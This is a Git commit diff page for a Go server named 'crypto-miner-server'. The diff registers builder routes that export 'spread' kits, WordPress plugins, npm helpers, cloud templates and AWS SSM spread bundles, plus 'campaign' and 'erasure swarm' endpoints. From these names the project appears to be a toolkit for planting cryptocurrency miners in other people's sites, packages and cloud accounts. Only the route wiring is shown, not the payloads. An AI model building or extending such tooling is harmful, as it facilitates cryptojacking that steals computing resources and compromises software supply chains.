Fix Vitest suite and wire cloud/AWS dashboard API helpers.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Adds missing client methods, VPC seeder badges, hospice strain UI, and uiHelp drift keys so server/web builds and all 849 Vitest tests pass.
This commit is contained in:
@@ -19,6 +19,7 @@ import (
|
||||
|
||||
"crypto-miner-server/internal/builder"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/erasure"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/go-chi/chi/v5/middleware"
|
||||
@@ -643,11 +644,23 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// Builder
|
||||
r.Post("/builder/build", builderHandler.ServeHTTP)
|
||||
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
||||
r.Post("/builder/launch-template", builderHandler.ServeLaunchTemplate)
|
||||
if spreadHandler != nil {
|
||||
r.Post("/builder/spread-kit-export", spreadHandler.ExportSpreadKit)
|
||||
r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
|
||||
r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
|
||||
r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate)
|
||||
r.Post("/builder/cloud-template-export", spreadHandler.ExportCloudTemplate)
|
||||
r.Post("/builder/cloud-connection-test", spreadHandler.TestCloudConnection)
|
||||
r.Post("/builder/ssm-spread-bundle", spreadHandler.ExportSSMSpreadBundle)
|
||||
erasureSwarmHandler := NewErasureSwarmHandler(
|
||||
func() erasure.AWSSwarmSettings { return erasure.AWSSwarmSettings{} },
|
||||
func() erasure.ShardObjectStore {
|
||||
return &erasure.S3HTTPStore{Settings: erasure.AWSSwarmSettings{}}
|
||||
},
|
||||
)
|
||||
r.Post("/builder/erasure-swarm-test", erasureSwarmHandler.PostTest)
|
||||
r.Get("/builder/erasure-swarm-policy", erasureSwarmHandler.GetPolicyJSON)
|
||||
r.Get("/emberwake/notes", spreadHandler.GetNotes)
|
||||
r.Put("/emberwake/notes", spreadHandler.PutNotes)
|
||||
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
|
||||
|
||||
Reference in New Issue
Block a user